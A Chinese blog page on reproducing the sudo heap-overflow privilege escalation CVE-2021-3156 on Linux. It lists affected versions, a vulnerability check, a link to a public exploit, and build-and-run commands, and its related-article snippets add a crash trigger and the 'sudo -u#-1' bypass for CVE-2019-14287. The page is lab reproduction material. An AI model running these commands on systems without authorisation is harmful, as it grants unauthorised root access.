Linux sudo提权-cve-2021-3156

最新推荐文章于 2024-05-17 02:43:01 发布
最新推荐文章于 2024-05-17 02:43:01 发布
阅读量440 收藏 1
点赞数
分类专栏： 红蓝对抗-攻防安全 文章标签： CVE-2021-3156
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38376348/article/details/113895848
版权

CVE-2021-3156

目前影响版本：

1.8.2- 1.8.31p2

1.9.0- 1.9.5 p1

复现

kali

sudo --version 查看版本

如果存在漏洞，执行sudoedit -s /则返回如下

下载exp:

exp(点击下载)

在tmp解压后编译执行：

tar -xvzf CVE-2021-3156_nss_poc_ubuntu.tar.gz
cd CVE-2021-3156/
make &&./sudo-hax-me-a-sandwich 0

 

Adsatrtgo
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
订阅专栏
Linux sudo权限提升漏洞 CVE-2021-3156
PeiQi的博客
01-31 780
Linux sudo权限提升漏洞 CVE-2021-3156 漏洞描述 2021年1月26日，Linux安全工具sudo被发现严重的基于堆缓冲区溢出漏洞。利用这一漏洞，攻击者无需知道用户密码，一样可以获得root权限，并且是在默认配置下。此漏洞已分配为CVE-2021-3156，危险等级评分为7分。 当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。因此只要存在su
Linux sudo权限提升漏洞（CVE-2021-3156）
Vdieoo的博客
01-27 1万+
1月26日，Sudo发布安全通告，修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。只要存在sudoers文件（通常是/etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。请受影响的用户尽快采取措施进行防护。 影响范围 受影响版...
【操作系统安全】_sudo提权_CVE-2021-3156
soldi_er的博客
04-04 4085
文章目录sudo提权简单叙述实验利用Linux用户管理烂土豆提权cve-2019-14287参考 sudo提权 简单叙述 发布时间 CVE编号 类型 等级 影响范围 远程利用 2021-01-27 CVE-2021-3156 权限提升 高危 Sudo 1.8.2-31p2，Sudo 1.9.0-5p1 否   Sudo是一款允许普通用户执行root权限命令的工具， 在2021年01月26日被披露存在一个基于堆的缓冲区溢出漏洞（被命名为Baron Samedit），可导致本地权限提升。
linux 提权总结
weixin_51681694的博客
06-13 6993
会继续补充.....
linux 提权总结_linux提权
最新发布
2401_84968222的博客
05-17 642
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
Linux提权方法总结
Ays.Ie的博客
11-06 3466
Linux提权方式总结
Linux提权
m0_57856283的博客
03-12 1万+
将这个虚拟文件导入虚拟机 开机默认没密码 账号：Bob 密码：secret root账号密码secret123 进去之后是这样的 我们先查看他的ip地址 这里我们看到他是没有IP地址的 我们先切换到root账户 进来之后需要改一个配置文件 然后我们看到了它已经获取到了ip 然后我们打开kali远程到被害机，注意，我们用普通用户远程过去 ssh bob@192.168.179.138 我们可以看到他已经远程了过来 过来之后我们可以先·看看他是什...
Linux提权大全
yggcwhat
05-14 9430
Linux提权大全
CVE-2021-3156:有关CVE-2021-3156的注意事项
05-24
CVE-2021-3156 注意：这些说明是我自己的，并摘自我做过的信息流。 如果有任何问题，请通知我。 首先信任官方消息！ 大家好， 几天前，在sudo中发现了严重的基于堆的缓冲区溢出，任何本地用户都可以利用该缓冲区...
Sudo缓冲区溢出漏洞(CVE-2021-3156)
04-06
linux sudo升级为1.9.5p2 及以上版本，sudo-1.9.10-1.el7.x86_64.rpm
CVE-2021-3156:CVE-2021-3156
03-06
【标题】：“CVE-2021-3156：Sudo命令行漏洞详解” 【描述】：“CVE-2021-3156”是一个严重且影响广泛的漏洞，被称为“Baron Samedit”或“SudoCmd”，它影响了广泛使用的Sudo命令行工具，允许本地攻击者获得系统上...
sudo-1.9.12p1，解决cve-2022-43995
11-08
"sudo-1.9.12p1"是sudo的一个特定版本，该版本发布是为了修复一个重要的安全漏洞：CVE-2022-43995。 **sudo的基础知识** sudo的核心功能在于提供一种受控的权限提升机制，以增强系统的安全性。它通过sudoers文件来...
sudo-cve-2019-18634:CVE-2019-18634的概念证明
03-21
**sudo CVE-2019-18634 概念证明** sudo（Superuser DO）是Linux和Unix系统中的一个命令行工具，允许普通用户以超级用户（root）或其他用户的身份执行命令，通常用于管理系统。这个概念证明是关于CVE-2019-18634...
Linux中的提权操作
weixin_52757485的博客
08-01 2120
具体工作过程：当用户执行sudo时，系统会主动寻找/etc/sudoers文件，判断该用户是否有执行sudo的权限，确认用户具有执行权限后，让用户输入用户自己的密码确认，若密码输入成功，则开始执行sudo后续的命令。临时提权的方法是用sudo的工作原理：将当前用户切换到超级用户下，以超级用户身份执行命令，执行完成后，直接退回到当前用户。[root@localhost ~]# vim /etc/sudoers （进入/etc/sudoers）（成功在普通用户下临时提权）
Linux提权简单总结
Aiwin的博客
08-10 2178
Linux提权简单总结
cve-2021-3156-sudo提权-复现
qq_40190341的博客
02-03 1034
原理啥的咱就不介绍了，直接干货，拿去直接使用即可。可以的话，就收藏一波，以后遇到了正好过来翻翻。 影响版本： Sudo 1.8.2 – 1.8.31p2 Sudo 1.9.0 – 1.9.5p1 不受影响版本： sudo =>1.9.5p2 人工检测方式： sudoedit -s / 1、如果是以sudoedit开头就可能存在 2、usage则不存在 复现过程： 这里我用的是kali，所以选择的是Debian 脚本获取方式： https://github.com/blasty/CVE-202
Linux提权思路+实战【很不错的文章】
热门推荐
大方子
10-04 2万+
Linux提权思路 前言 首先关于Linux提权我们得先明白几个概念。 linux发行版本 是我们常说的Linux操作系统，也即是由Linux内核与各种常用软件的集合产品，全球大约有数百款的Linux系统版本，每个系统版本都有自己的特性和目标人群， 例如： CentOS redhat ubuntu kali linux内核 Linux系统内核指的是一个由Linus Torvald...
CVE-2021-3156 sudo堆溢出分析与利用
qq_41252520的博客
01-29 1636
CVE-2021-3156 0x0 简介 sudo是Linux比较常用的命令，它允许普通用户获得临时的root身份执行特权指令，保障了Linux系统的安全。 0x1 漏洞复现 【环境】：ubuntu18.04 【版本】：sudo-1.8.27 ​ 输入以下POC： sudoedit -s '\' `perl -e 'print "A" x 65536'` 0x2 漏洞分析 （1）环境搭建 首先通过输入命令查看当前系统使用的版本 sudo --version 下载合适的sudo，解压并编译。 （2
CVE-2021-3156（Linux sudo权限提升漏洞）漏洞复现
markecheng的博客
02-02 1267
一、漏洞简介 1月26日，Sudo发布安全通告，修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过-s或-i命令行选项在shell模式下运行命令时，它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时，实际上并未进行转义，从而可能导致缓冲区溢出。只要存在sudoers文件（通常是 /etc/sudoers），攻击者就可以使用本地普通用户利用sudo获得系统root权限。请受影响的用户尽快采取措施进行防护。 二、影响版本 Sudo 1
linux sudo提权漏洞,linux CVE-2019-14287 Sudo提权漏洞(示例代码)
05-19
CVE-2019-14287是一个sudo提权漏洞，攻击者可以利用此漏洞绕过sudo的限制，以root用户的身份执行命令。这个漏洞影响sudo 1.8.28版本之前的所有版本。下面是一个示例代码： ``` $ sudo -u#-1 id uid=0(root) gid=0...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值